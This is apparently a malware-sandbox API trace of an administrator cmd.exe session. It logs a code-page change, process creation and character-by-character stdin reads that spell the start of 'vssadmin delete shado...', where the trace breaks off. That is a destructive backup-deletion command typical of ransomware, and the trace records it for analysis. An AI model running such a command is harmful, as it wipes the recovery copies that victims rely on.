	[0043.888] _wcsnicmp (_String1="COPYCMD", _String2="PROMPT=", _MaxCount=0x7) returned -13
	[0043.888] _wcsnicmp (_String1="COPYCMD", _String2="PSModul", _MaxCount=0x7) returned -13
	[0043.888] _wcsnicmp (_String1="COPYCMD", _String2="PUBLIC=", _MaxCount=0x7) returned -13
	[0043.888] _wcsnicmp (_String1="COPYCMD", _String2="SystemD", _MaxCount=0x7) returned -16
	[0043.888] _wcsnicmp (_String1="COPYCMD", _String2="SystemR", _MaxCount=0x7) returned -16
	[0043.888] _wcsnicmp (_String1="COPYCMD", _String2="TEMP=C:", _MaxCount=0x7) returned -17
	[0043.888] _wcsnicmp (_String1="COPYCMD", _String2="TMP=C:\\", _MaxCount=0x7) returned -17
	[0043.888] _wcsnicmp (_String1="COPYCMD", _String2="USERDOM", _MaxCount=0x7) returned -18
	[0043.888] _wcsnicmp (_String1="COPYCMD", _String2="USERDOM", _MaxCount=0x7) returned -18
	[0043.888] _wcsnicmp (_String1="COPYCMD", _String2="USERNAM", _MaxCount=0x7) returned -18
	[0043.888] _wcsnicmp (_String1="COPYCMD", _String2="USERPRO", _MaxCount=0x7) returned -18
	[0043.888] _wcsnicmp (_String1="COPYCMD", _String2="windir=", _MaxCount=0x7) returned -20
	[0043.888] GetProcessHeap () returned 0x286dddf0000
	[0043.888] RtlFreeHeap (HeapHandle=0x286dddf0000, Flags=0x0, BaseAddress=0x286dddf6e90) returned 1
	[0043.888] GetProcessHeap () returned 0x286dddf0000
	[0043.888] RtlAllocateHeap (HeapHandle=0x286dddf0000, Flags=0x8, Size=0x12) returned 0x286dddf6e90
	[0043.888] _get_osfhandle (_FileHandle=1) returned 0x254
	[0043.888] SetConsoleMode (hConsoleHandle=0x254, dwMode=0x0) returned 0
	[0043.889] _get_osfhandle (_FileHandle=0) returned 0x248
	[0043.889] SetConsoleMode (hConsoleHandle=0x248, dwMode=0x0) returned 0
	[0043.889] CreateProcessW (in: lpApplicationName="C:\\WINDOWS\\system32\\mode.com", lpCommandLine="mode  con cp select=1251", lpProcessAttributes=0x0, lpThreadAttributes=0x0, bInheritHandles=1, dwCreationFlags=0x80000, lpEnvironment=0x0, lpCurrentDirectory="C:\\Users\\FD1HVy\\Desktop", lpStartupInfo=0xc2d1b0f2d0*(cb=0x70, lpReserved=0x0, lpDesktop="WinSta0\\Default", lpTitle="mode  con cp select=1251", dwX=0x0, dwY=0x1, dwXSize=0x64, dwYSize=0x64, dwXCountChars=0x0, dwYCountChars=0x0, dwFillAttribute=0x0, dwFlags=0x0, wShowWindow=0x1, cbReserved2=0x0, lpReserved2=0x0, hStdInput=0x0, hStdOutput=0x0, hStdError=0x0), lpProcessInformation=0xc2d1b0f2a8 | out: lpCommandLine="mode  con cp select=1251", lpProcessInformation=0xc2d1b0f2a8*(hProcess=0x98, hThread=0x94, dwProcessId=0xeb4, dwThreadId=0x15c)) returned 1
	[0051.259] CloseHandle (hObject=0x94) returned 1
	[0051.259] SetEnvironmentVariableW (lpName="COPYCMD", lpValue=0x0) returned 1
	[0051.259] GetProcessHeap () returned 0x286dddf0000
	[0051.259] RtlFreeHeap (HeapHandle=0x286dddf0000, Flags=0x0, BaseAddress=0x286dddf8500) returned 1
	[0051.259] GetEnvironmentStringsW () returned 0x286dddf84c0*
	[0051.259] GetProcessHeap () returned 0x286dddf0000
	[0051.259] RtlAllocateHeap (HeapHandle=0x286dddf0000, Flags=0x8, Size=0xacc) returned 0x286dde09520
	[0051.259] FreeEnvironmentStringsA (penv="=") returned 1
	[0051.259] LoadLibraryExW (lpLibFileName="NTDLL.DLL", hFile=0x0, dwFlags=0x0) returned 0x7ff931f40000
	[0051.259] GetProcAddress (hModule=0x7ff931f40000, lpProcName="NtQueryInformationProcess") returned 0x7ff931fe56b0
	[0051.259] NtQueryInformationProcess (in: ProcessHandle=0x98, ProcessInformationClass=0x0, ProcessInformation=0xc2d1b0e7a8, ProcessInformationLength=0x30, ReturnLength=0x0 | out: ProcessInformation=0xc2d1b0e7a8, ReturnLength=0x0) returned 0x0
	[0051.259] ReadProcessMemory (in: hProcess=0x98, lpBaseAddress=0x9072e46000, lpBuffer=0xc2d1b0e7e0, nSize=0x7a0, lpNumberOfBytesRead=0xc2d1b0e7a0 | out: lpBuffer=0xc2d1b0e7e0*, lpNumberOfBytesRead=0xc2d1b0e7a0*=0x7a0) returned 1
	[0051.260] WaitForSingleObject (hHandle=0x98, dwMilliseconds=0xffffffff) returned 0x0
	[0059.504] GetExitCodeProcess (in: hProcess=0x98, lpExitCode=0xc2d1b0f228 | out: lpExitCode=0xc2d1b0f228*=0x0) returned 1
	[0059.504] CloseHandle (hObject=0x98) returned 1
	[0059.504] _vsnwprintf (in: _Buffer=0xc2d1b0f3f8, _BufferCount=0x13, _Format="%08X", _ArgList=0xc2d1b0f238 | out: _Buffer="00000000") returned 8
	[0059.504] SetEnvironmentVariableW (lpName="=ExitCode", lpValue="00000000") returned 1
	[0059.504] GetProcessHeap () returned 0x286dddf0000
	[0059.504] RtlFreeHeap (HeapHandle=0x286dddf0000, Flags=0x0, BaseAddress=0x286dde09520) returned 1
	[0059.505] GetEnvironmentStringsW () returned 0x286dde09520*
	[0059.505] GetProcessHeap () returned 0x286dddf0000
	[0059.505] RtlAllocateHeap (HeapHandle=0x286dddf0000, Flags=0x8, Size=0xaf2) returned 0x286dde0a020
	[0059.505] FreeEnvironmentStringsA (penv="=") returned 1
	[0059.505] SetEnvironmentVariableW (lpName="=ExitCodeAscii", lpValue=0x0) returned 1
	[0059.505] GetProcessHeap () returned 0x286dddf0000
	[0059.505] RtlFreeHeap (HeapHandle=0x286dddf0000, Flags=0x0, BaseAddress=0x286dde0a020) returned 1
	[0059.505] GetEnvironmentStringsW () returned 0x286dde09520*
	[0059.505] GetProcessHeap () returned 0x286dddf0000
	[0059.505] RtlAllocateHeap (HeapHandle=0x286dddf0000, Flags=0x8, Size=0xaf2) returned 0x286dde0a020
	[0059.505] FreeEnvironmentStringsA (penv="=") returned 1
	[0059.505] GetProcessHeap () returned 0x286dddf0000
	[0059.505] RtlFreeHeap (HeapHandle=0x286dddf0000, Flags=0x0, BaseAddress=0x286dddf6e90) returned 1
	[0059.506] DeleteProcThreadAttributeList (in: lpAttributeList=0xc2d1b0f3b0 | out: lpAttributeList=0xc2d1b0f3b0) 
	[0059.506] SetConsoleTitleW (lpConsoleTitle="Administrator: C:\\WINDOWS\\system32\\cmd.exe") returned 1
	[0059.528] ??_V@YAXPEAX@Z () returned 0x1
	[0059.528] _get_osfhandle (_FileHandle=1) returned 0x254
	[0059.528] SetConsoleMode (hConsoleHandle=0x254, dwMode=0x0) returned 0
	[0059.528] _get_osfhandle (_FileHandle=1) returned 0x254
	[0059.528] GetConsoleMode (in: hConsoleHandle=0x254, lpMode=0x7ff710d2fc08 | out: lpMode=0x7ff710d2fc08) returned 0
	[0059.528] _get_osfhandle (_FileHandle=0) returned 0x248
	[0059.528] GetConsoleMode (in: hConsoleHandle=0x248, lpMode=0x7ff710d2fc0c | out: lpMode=0x7ff710d2fc0c) returned 0
	[0059.528] GetConsoleOutputCP () returned 0x4e3
	[0059.544] GetCPInfo (in: CodePage=0x4e3, lpCPInfo=0x7ff710d2fbb0 | out: lpCPInfo=0x7ff710d2fbb0) returned 1
	[0059.572] SetThreadUILanguage (LangId=0x0) returned 0x409
	[0059.600] GetProcessHeap () returned 0x286dddf0000
	[0059.600] RtlFreeHeap (HeapHandle=0x286dddf0000, Flags=0x0, BaseAddress=0x286dddf6e00) returned 1
	[0059.600] GetProcessHeap () returned 0x286dddf0000
	[0059.600] RtlFreeHeap (HeapHandle=0x286dddf0000, Flags=0x0, BaseAddress=0x286dde09030) returned 1
	[0059.600] GetProcessHeap () returned 0x286dddf0000
	[0059.600] RtlFreeHeap (HeapHandle=0x286dddf0000, Flags=0x0, BaseAddress=0x286dddf6c30) returned 1
	[0059.600] GetProcessHeap () returned 0x286dddf0000
	[0059.600] RtlFreeHeap (HeapHandle=0x286dddf0000, Flags=0x0, BaseAddress=0x286dde08fd0) returned 1
	[0059.600] GetProcessHeap () returned 0x286dddf0000
	[0059.600] RtlFreeHeap (HeapHandle=0x286dddf0000, Flags=0x0, BaseAddress=0x286dddf83e0) returned 1
	[0059.600] GetProcessHeap () returned 0x286dddf0000
	[0059.600] RtlFreeHeap (HeapHandle=0x286dddf0000, Flags=0x0, BaseAddress=0x286dddf8fe0) returned 1
	[0059.600] GetProcessHeap () returned 0x286dddf0000
	[0059.600] RtlFreeHeap (HeapHandle=0x286dddf0000, Flags=0x0, BaseAddress=0x286dddf1850) returned 1
	[0059.600] GetProcessHeap () returned 0x286dddf0000
	[0059.600] RtlFreeHeap (HeapHandle=0x286dddf0000, Flags=0x0, BaseAddress=0x286dddf6a80) returned 1
	[0059.600] GetProcessHeap () returned 0x286dddf0000
	[0059.600] RtlFreeHeap (HeapHandle=0x286dddf0000, Flags=0x0, BaseAddress=0x286dddf8320) returned 1
	[0059.600] _vsnwprintf (in: _Buffer=0x7ff710d37f60, _BufferCount=0x1fff, _Format="\r\n", _ArgList=0xc2d1b0f7d8 | out: _Buffer="\r\n") returned 2
	[0059.600] _get_osfhandle (_FileHandle=1) returned 0x254
	[0059.600] GetFileType (hFile=0x254) returned 0x3
	[0059.600] _get_osfhandle (_FileHandle=1) returned 0x254
	[0059.600] WideCharToMultiByte (in: CodePage=0x4e3, dwFlags=0x0, lpWideCharStr="\r\n", cchWideChar=-1, lpMultiByteStr=0x7ff710d29970, cbMultiByte=8192, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="\r\n", lpUsedDefaultChar=0x0) returned 3
	[0059.600] WriteFile (in: hFile=0x254, lpBuffer=0x7ff710d29970*, nNumberOfBytesToWrite=0x2, lpNumberOfBytesWritten=0xc2d1b0f7a8, lpOverlapped=0x0 | out: lpBuffer=0x7ff710d29970*, lpNumberOfBytesWritten=0xc2d1b0f7a8*=0x2, lpOverlapped=0x0) returned 1
	[0059.600] GetEnvironmentVariableW (in: lpName="PROMPT", lpBuffer=0x7ff710d2bb90, nSize=0x2000 | out: lpBuffer="$P$G") returned 0x4
	[0059.600] GetCurrentDirectoryW (in: nBufferLength=0x7fe7, lpBuffer=0x286ddfc0080 | out: lpBuffer="C:\\Users\\FD1HVy\\Desktop") returned 0x17
	[0059.600] _vsnwprintf (in: _Buffer=0x286ddfd0060, _BufferCount=0x83e5, _Format="%s", _ArgList=0xc2d1b0f7e8 | out: _Buffer="C:\\Users\\FD1HVy\\Desktop") returned 23
	[0059.600] _vsnwprintf (in: _Buffer=0x286ddfd008e, _BufferCount=0x83ce, _Format="%c", _ArgList=0xc2d1b0f7e8 | out: _Buffer=">") returned 1
	[0059.600] _get_osfhandle (_FileHandle=1) returned 0x254
	[0059.600] GetFileType (hFile=0x254) returned 0x3
	[0059.600] _get_osfhandle (_FileHandle=1) returned 0x254
	[0059.600] WideCharToMultiByte (in: CodePage=0x4e3, dwFlags=0x0, lpWideCharStr="C:\\Users\\FD1HVy\\Desktop>", cchWideChar=-1, lpMultiByteStr=0x7ff710d29970, cbMultiByte=8192, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="C:\\Users\\FD1HVy\\Desktop>", lpUsedDefaultChar=0x0) returned 25
	[0059.600] WriteFile (in: hFile=0x254, lpBuffer=0x7ff710d29970*, nNumberOfBytesToWrite=0x18, lpNumberOfBytesWritten=0xc2d1b0f7d8, lpOverlapped=0x0 | out: lpBuffer=0x7ff710d29970*, lpNumberOfBytesWritten=0xc2d1b0f7d8*=0x18, lpOverlapped=0x0) returned 1
	[0059.600] _get_osfhandle (_FileHandle=0) returned 0x248
	[0059.601] GetFileType (hFile=0x248) returned 0x3
	[0059.601] _get_osfhandle (_FileHandle=0) returned 0x248
	[0059.601] SetFilePointer (in: hFile=0x248, lDistanceToMove=0, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x1 | out: lpDistanceToMoveHigh=0x0) returned 0x0
	[0059.601] ReadFile (in: hFile=0x248, lpBuffer=0x7ff710d29970, nNumberOfBytesToRead=0x1, lpNumberOfBytesRead=0xc2d1b0fb38, lpOverlapped=0x0 | out: lpBuffer=0x7ff710d29970*, lpNumberOfBytesRead=0xc2d1b0fb38*=0x1, lpOverlapped=0x0) returned 1
	[0059.601] MultiByteToWideChar (in: CodePage=0x4e3, dwFlags=0x1, lpMultiByteStr=0x7ff710d29970, cbMultiByte=1, lpWideCharStr=0x7ff710d33c30, cchWideChar=1 | out: lpWideCharStr="vode con cp select=1251\n") returned 1
	[0059.601] _get_osfhandle (_FileHandle=0) returned 0x248
	[0059.601] SetFilePointer (in: hFile=0x248, lDistanceToMove=0, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x1 | out: lpDistanceToMoveHigh=0x0) returned 0x0
	[0059.601] ReadFile (in: hFile=0x248, lpBuffer=0x7ff710d29970, nNumberOfBytesToRead=0x1, lpNumberOfBytesRead=0xc2d1b0fb38, lpOverlapped=0x0 | out: lpBuffer=0x7ff710d29970*, lpNumberOfBytesRead=0xc2d1b0fb38*=0x1, lpOverlapped=0x0) returned 1
	[0059.601] MultiByteToWideChar (in: CodePage=0x4e3, dwFlags=0x1, lpMultiByteStr=0x7ff710d29970, cbMultiByte=1, lpWideCharStr=0x7ff710d33c32, cchWideChar=1 | out: lpWideCharStr="sde con cp select=1251\n") returned 1
	[0059.601] _get_osfhandle (_FileHandle=0) returned 0x248
	[0059.601] SetFilePointer (in: hFile=0x248, lDistanceToMove=0, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x1 | out: lpDistanceToMoveHigh=0x0) returned 0x0
	[0059.601] ReadFile (in: hFile=0x248, lpBuffer=0x7ff710d29970, nNumberOfBytesToRead=0x1, lpNumberOfBytesRead=0xc2d1b0fb38, lpOverlapped=0x0 | out: lpBuffer=0x7ff710d29970*, lpNumberOfBytesRead=0xc2d1b0fb38*=0x1, lpOverlapped=0x0) returned 1
	[0059.601] MultiByteToWideChar (in: CodePage=0x4e3, dwFlags=0x1, lpMultiByteStr=0x7ff710d29970, cbMultiByte=1, lpWideCharStr=0x7ff710d33c34, cchWideChar=1 | out: lpWideCharStr="se con cp select=1251\n") returned 1
	[0059.601] _get_osfhandle (_FileHandle=0) returned 0x248
	[0059.601] SetFilePointer (in: hFile=0x248, lDistanceToMove=0, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x1 | out: lpDistanceToMoveHigh=0x0) returned 0x0
	[0059.601] ReadFile (in: hFile=0x248, lpBuffer=0x7ff710d29970, nNumberOfBytesToRead=0x1, lpNumberOfBytesRead=0xc2d1b0fb38, lpOverlapped=0x0 | out: lpBuffer=0x7ff710d29970*, lpNumberOfBytesRead=0xc2d1b0fb38*=0x1, lpOverlapped=0x0) returned 1
	[0059.601] MultiByteToWideChar (in: CodePage=0x4e3, dwFlags=0x1, lpMultiByteStr=0x7ff710d29970, cbMultiByte=1, lpWideCharStr=0x7ff710d33c36, cchWideChar=1 | out: lpWideCharStr="a con cp select=1251\n") returned 1
	[0059.601] _get_osfhandle (_FileHandle=0) returned 0x248
	[0059.601] SetFilePointer (in: hFile=0x248, lDistanceToMove=0, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x1 | out: lpDistanceToMoveHigh=0x0) returned 0x0
	[0059.601] ReadFile (in: hFile=0x248, lpBuffer=0x7ff710d29970, nNumberOfBytesToRead=0x1, lpNumberOfBytesRead=0xc2d1b0fb38, lpOverlapped=0x0 | out: lpBuffer=0x7ff710d29970*, lpNumberOfBytesRead=0xc2d1b0fb38*=0x1, lpOverlapped=0x0) returned 1
	[0059.601] MultiByteToWideChar (in: CodePage=0x4e3, dwFlags=0x1, lpMultiByteStr=0x7ff710d29970, cbMultiByte=1, lpWideCharStr=0x7ff710d33c38, cchWideChar=1 | out: lpWideCharStr="dcon cp select=1251\n") returned 1
	[0059.601] _get_osfhandle (_FileHandle=0) returned 0x248
	[0059.601] SetFilePointer (in: hFile=0x248, lDistanceToMove=0, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x1 | out: lpDistanceToMoveHigh=0x0) returned 0x0
	[0059.601] ReadFile (in: hFile=0x248, lpBuffer=0x7ff710d29970, nNumberOfBytesToRead=0x1, lpNumberOfBytesRead=0xc2d1b0fb38, lpOverlapped=0x0 | out: lpBuffer=0x7ff710d29970*, lpNumberOfBytesRead=0xc2d1b0fb38*=0x1, lpOverlapped=0x0) returned 1
	[0059.601] MultiByteToWideChar (in: CodePage=0x4e3, dwFlags=0x1, lpMultiByteStr=0x7ff710d29970, cbMultiByte=1, lpWideCharStr=0x7ff710d33c3a, cchWideChar=1 | out: lpWideCharStr="mon cp select=1251\n") returned 1
	[0059.601] _get_osfhandle (_FileHandle=0) returned 0x248
	[0059.601] SetFilePointer (in: hFile=0x248, lDistanceToMove=0, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x1 | out: lpDistanceToMoveHigh=0x0) returned 0x0
	[0059.601] ReadFile (in: hFile=0x248, lpBuffer=0x7ff710d29970, nNumberOfBytesToRead=0x1, lpNumberOfBytesRead=0xc2d1b0fb38, lpOverlapped=0x0 | out: lpBuffer=0x7ff710d29970*, lpNumberOfBytesRead=0xc2d1b0fb38*=0x1, lpOverlapped=0x0) returned 1
	[0059.601] MultiByteToWideChar (in: CodePage=0x4e3, dwFlags=0x1, lpMultiByteStr=0x7ff710d29970, cbMultiByte=1, lpWideCharStr=0x7ff710d33c3c, cchWideChar=1 | out: lpWideCharStr="in cp select=1251\n") returned 1
	[0059.601] _get_osfhandle (_FileHandle=0) returned 0x248
	[0059.601] SetFilePointer (in: hFile=0x248, lDistanceToMove=0, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x1 | out: lpDistanceToMoveHigh=0x0) returned 0x0
	[0059.602] ReadFile (in: hFile=0x248, lpBuffer=0x7ff710d29970, nNumberOfBytesToRead=0x1, lpNumberOfBytesRead=0xc2d1b0fb38, lpOverlapped=0x0 | out: lpBuffer=0x7ff710d29970*, lpNumberOfBytesRead=0xc2d1b0fb38*=0x1, lpOverlapped=0x0) returned 1
	[0059.602] MultiByteToWideChar (in: CodePage=0x4e3, dwFlags=0x1, lpMultiByteStr=0x7ff710d29970, cbMultiByte=1, lpWideCharStr=0x7ff710d33c3e, cchWideChar=1 | out: lpWideCharStr="n cp select=1251\n") returned 1
	[0059.602] _get_osfhandle (_FileHandle=0) returned 0x248
	[0059.602] SetFilePointer (in: hFile=0x248, lDistanceToMove=0, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x1 | out: lpDistanceToMoveHigh=0x0) returned 0x0
	[0059.602] ReadFile (in: hFile=0x248, lpBuffer=0x7ff710d29970, nNumberOfBytesToRead=0x1, lpNumberOfBytesRead=0xc2d1b0fb38, lpOverlapped=0x0 | out: lpBuffer=0x7ff710d29970*, lpNumberOfBytesRead=0xc2d1b0fb38*=0x1, lpOverlapped=0x0) returned 1
	[0059.602] MultiByteToWideChar (in: CodePage=0x4e3, dwFlags=0x1, lpMultiByteStr=0x7ff710d29970, cbMultiByte=1, lpWideCharStr=0x7ff710d33c40, cchWideChar=1 | out: lpWideCharStr=" cp select=1251\n") returned 1
	[0059.602] _get_osfhandle (_FileHandle=0) returned 0x248
	[0059.602] SetFilePointer (in: hFile=0x248, lDistanceToMove=0, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x1 | out: lpDistanceToMoveHigh=0x0) returned 0x0
	[0059.602] ReadFile (in: hFile=0x248, lpBuffer=0x7ff710d29970, nNumberOfBytesToRead=0x1, lpNumberOfBytesRead=0xc2d1b0fb38, lpOverlapped=0x0 | out: lpBuffer=0x7ff710d29970*, lpNumberOfBytesRead=0xc2d1b0fb38*=0x1, lpOverlapped=0x0) returned 1
	[0059.602] MultiByteToWideChar (in: CodePage=0x4e3, dwFlags=0x1, lpMultiByteStr=0x7ff710d29970, cbMultiByte=1, lpWideCharStr=0x7ff710d33c42, cchWideChar=1 | out: lpWideCharStr="dp select=1251\n") returned 1
	[0059.602] _get_osfhandle (_FileHandle=0) returned 0x248
	[0059.602] SetFilePointer (in: hFile=0x248, lDistanceToMove=0, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x1 | out: lpDistanceToMoveHigh=0x0) returned 0x0
	[0059.602] ReadFile (in: hFile=0x248, lpBuffer=0x7ff710d29970, nNumberOfBytesToRead=0x1, lpNumberOfBytesRead=0xc2d1b0fb38, lpOverlapped=0x0 | out: lpBuffer=0x7ff710d29970*, lpNumberOfBytesRead=0xc2d1b0fb38*=0x1, lpOverlapped=0x0) returned 1
	[0059.602] MultiByteToWideChar (in: CodePage=0x4e3, dwFlags=0x1, lpMultiByteStr=0x7ff710d29970, cbMultiByte=1, lpWideCharStr=0x7ff710d33c44, cchWideChar=1 | out: lpWideCharStr="e select=1251\n") returned 1
	[0059.602] _get_osfhandle (_FileHandle=0) returned 0x248
	[0059.602] SetFilePointer (in: hFile=0x248, lDistanceToMove=0, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x1 | out: lpDistanceToMoveHigh=0x0) returned 0x0
	[0059.602] ReadFile (in: hFile=0x248, lpBuffer=0x7ff710d29970, nNumberOfBytesToRead=0x1, lpNumberOfBytesRead=0xc2d1b0fb38, lpOverlapped=0x0 | out: lpBuffer=0x7ff710d29970*, lpNumberOfBytesRead=0xc2d1b0fb38*=0x1, lpOverlapped=0x0) returned 1
	[0059.602] MultiByteToWideChar (in: CodePage=0x4e3, dwFlags=0x1, lpMultiByteStr=0x7ff710d29970, cbMultiByte=1, lpWideCharStr=0x7ff710d33c46, cchWideChar=1 | out: lpWideCharStr="lselect=1251\n") returned 1
	[0059.602] _get_osfhandle (_FileHandle=0) returned 0x248
	[0059.602] SetFilePointer (in: hFile=0x248, lDistanceToMove=0, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x1 | out: lpDistanceToMoveHigh=0x0) returned 0x0
	[0059.602] ReadFile (in: hFile=0x248, lpBuffer=0x7ff710d29970, nNumberOfBytesToRead=0x1, lpNumberOfBytesRead=0xc2d1b0fb38, lpOverlapped=0x0 | out: lpBuffer=0x7ff710d29970*, lpNumberOfBytesRead=0xc2d1b0fb38*=0x1, lpOverlapped=0x0) returned 1
	[0059.602] MultiByteToWideChar (in: CodePage=0x4e3, dwFlags=0x1, lpMultiByteStr=0x7ff710d29970, cbMultiByte=1, lpWideCharStr=0x7ff710d33c48, cchWideChar=1 | out: lpWideCharStr="eelect=1251\n") returned 1
	[0059.602] _get_osfhandle (_FileHandle=0) returned 0x248
	[0059.602] SetFilePointer (in: hFile=0x248, lDistanceToMove=0, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x1 | out: lpDistanceToMoveHigh=0x0) returned 0x0
	[0059.602] ReadFile (in: hFile=0x248, lpBuffer=0x7ff710d29970, nNumberOfBytesToRead=0x1, lpNumberOfBytesRead=0xc2d1b0fb38, lpOverlapped=0x0 | out: lpBuffer=0x7ff710d29970*, lpNumberOfBytesRead=0xc2d1b0fb38*=0x1, lpOverlapped=0x0) returned 1
	[0059.602] MultiByteToWideChar (in: CodePage=0x4e3, dwFlags=0x1, lpMultiByteStr=0x7ff710d29970, cbMultiByte=1, lpWideCharStr=0x7ff710d33c4a, cchWideChar=1 | out: lpWideCharStr="tlect=1251\n") returned 1
	[0059.602] _get_osfhandle (_FileHandle=0) returned 0x248
	[0059.602] SetFilePointer (in: hFile=0x248, lDistanceToMove=0, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x1 | out: lpDistanceToMoveHigh=0x0) returned 0x0
	[0059.602] ReadFile (in: hFile=0x248, lpBuffer=0x7ff710d29970, nNumberOfBytesToRead=0x1, lpNumberOfBytesRead=0xc2d1b0fb38, lpOverlapped=0x0 | out: lpBuffer=0x7ff710d29970*, lpNumberOfBytesRead=0xc2d1b0fb38*=0x1, lpOverlapped=0x0) returned 1
	[0059.602] MultiByteToWideChar (in: CodePage=0x4e3, dwFlags=0x1, lpMultiByteStr=0x7ff710d29970, cbMultiByte=1, lpWideCharStr=0x7ff710d33c4c, cchWideChar=1 | out: lpWideCharStr="eect=1251\n") returned 1
	[0059.602] _get_osfhandle (_FileHandle=0) returned 0x248
	[0059.602] SetFilePointer (in: hFile=0x248, lDistanceToMove=0, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x1 | out: lpDistanceToMoveHigh=0x0) returned 0x0
	[0059.603] ReadFile (in: hFile=0x248, lpBuffer=0x7ff710d29970, nNumberOfBytesToRead=0x1, lpNumberOfBytesRead=0xc2d1b0fb38, lpOverlapped=0x0 | out: lpBuffer=0x7ff710d29970*, lpNumberOfBytesRead=0xc2d1b0fb38*=0x1, lpOverlapped=0x0) returned 1
	[0059.603] MultiByteToWideChar (in: CodePage=0x4e3, dwFlags=0x1, lpMultiByteStr=0x7ff710d29970, cbMultiByte=1, lpWideCharStr=0x7ff710d33c4e, cchWideChar=1 | out: lpWideCharStr=" ct=1251\n") returned 1
	[0059.603] _get_osfhandle (_FileHandle=0) returned 0x248
	[0059.603] SetFilePointer (in: hFile=0x248, lDistanceToMove=0, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x1 | out: lpDistanceToMoveHigh=0x0) returned 0x0
	[0059.603] ReadFile (in: hFile=0x248, lpBuffer=0x7ff710d29970, nNumberOfBytesToRead=0x1, lpNumberOfBytesRead=0xc2d1b0fb38, lpOverlapped=0x0 | out: lpBuffer=0x7ff710d29970*, lpNumberOfBytesRead=0xc2d1b0fb38*=0x1, lpOverlapped=0x0) returned 1
	[0059.603] MultiByteToWideChar (in: CodePage=0x4e3, dwFlags=0x1, lpMultiByteStr=0x7ff710d29970, cbMultiByte=1, lpWideCharStr=0x7ff710d33c50, cchWideChar=1 | out: lpWideCharStr="st=1251\n") returned 1
	[0059.603] _get_osfhandle (_FileHandle=0) returned 0x248
	[0059.603] SetFilePointer (in: hFile=0x248, lDistanceToMove=0, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x1 | out: lpDistanceToMoveHigh=0x0) returned 0x0
	[0059.603] ReadFile (in: hFile=0x248, lpBuffer=0x7ff710d29970, nNumberOfBytesToRead=0x1, lpNumberOfBytesRead=0xc2d1b0fb38, lpOverlapped=0x0 | out: lpBuffer=0x7ff710d29970*, lpNumberOfBytesRead=0xc2d1b0fb38*=0x1, lpOverlapped=0x0) returned 1
	[0059.603] MultiByteToWideChar (in: CodePage=0x4e3, dwFlags=0x1, lpMultiByteStr=0x7ff710d29970, cbMultiByte=1, lpWideCharStr=0x7ff710d33c52, cchWideChar=1 | out: lpWideCharStr="h=1251\n") returned 1
	[0059.603] _get_osfhandle (_FileHandle=0) returned 0x248
	[0059.603] SetFilePointer (in: hFile=0x248, lDistanceToMove=0, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x1 | out: lpDistanceToMoveHigh=0x0) returned 0x0
	[0059.603] ReadFile (in: hFile=0x248, lpBuffer=0x7ff710d29970, nNumberOfBytesToRead=0x1, lpNumberOfBytesRead=0xc2d1b0fb38, lpOverlapped=0x0 | out: lpBuffer=0x7ff710d29970*, lpNumberOfBytesRead=0xc2d1b0fb38*=0x1, lpOverlapped=0x0) returned 1
	[0059.603] MultiByteToWideChar (in: CodePage=0x4e3, dwFlags=0x1, lpMultiByteStr=0x7ff710d29970, cbMultiByte=1, lpWideCharStr=0x7ff710d33c54, cchWideChar=1 | out: lpWideCharStr="a1251\n") returned 1
	[0059.603] _get_osfhandle (_FileHandle=0) returned 0x248
	[0059.603] SetFilePointer (in: hFile=0x248, lDistanceToMove=0, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x1 | out: lpDistanceToMoveHigh=0x0) returned 0x0
	[0059.603] ReadFile (in: hFile=0x248, lpBuffer=0x7ff710d29970, nNumberOfBytesToRead=0x1, lpNumberOfBytesRead=0xc2d1b0fb38, lpOverlapped=0x0 | out: lpBuffer=0x7ff710d29970*, lpNumberOfBytesRead=0xc2d1b0fb38*=0x1, lpOverlapped=0x0) returned 1
	[0059.603] MultiByteToWideChar (in: CodePage=0x4e3, dwFlags=0x1, lpMultiByteStr=0x7ff710d29970, cbMultiByte=1, lpWideCharStr=0x7ff710d33c56, cchWideChar=1 | out: lpWideCharStr="d251\n") returned 1
	[0059.603] _get_osfhandle (_FileHandle=0) returned 0x248
	[0059.603] SetFilePointer (in: hFile=0x248, lDistanceToMove=0, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x1 | out: lpDistanceToMoveHigh=0x0) returned 0x0
	[0059.603] ReadFile (in: hFile=0x248, lpBuffer=0x7ff710d29970, nNumberOfBytesToRead=0x1, lpNumberOfBytesRead=0xc2d1b0fb38, lpOverlapped=0x0 | out: lpBuffer=0x7ff710d29970*, lpNumberOfBytesRead=0xc2d1b0fb38*=0x1, lpOverlapped=0x0) returned 1
	[0059.603] MultiByteToWideChar (in: CodePage=0x4e3, dwFlags=0x1, lpMultiByteStr=0x7ff710d29970, cbMultiByte=1, lpWideCharStr=0x7ff710d33c58, cchWideChar=1 | out: lpWideCharStr="o51\n") returned 1
	[0059.603] _get_osfhandle (_FileHandle=0) returned 0x248
	[0059.603] SetFilePointer (in: hFile=0x248, lDistanceToMove=0, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x1 | out: lpDistanceToMoveHigh=0x0) returned 0x0
	[0059.604] ReadFile (in: hFile=0x248, lpBuffer=0x7ff710d29970, nNumberOfBytesToRead=0x1, lpNumberOfBytesRead=0xc2d1b0fb38, lpOverlapped=0x0 | out: lpBuffer=0x7ff710d29970*, lpNumberOfBytesRead=0xc2d1b0fb38*=0x1, lpOverlapped=0x0) returned 1
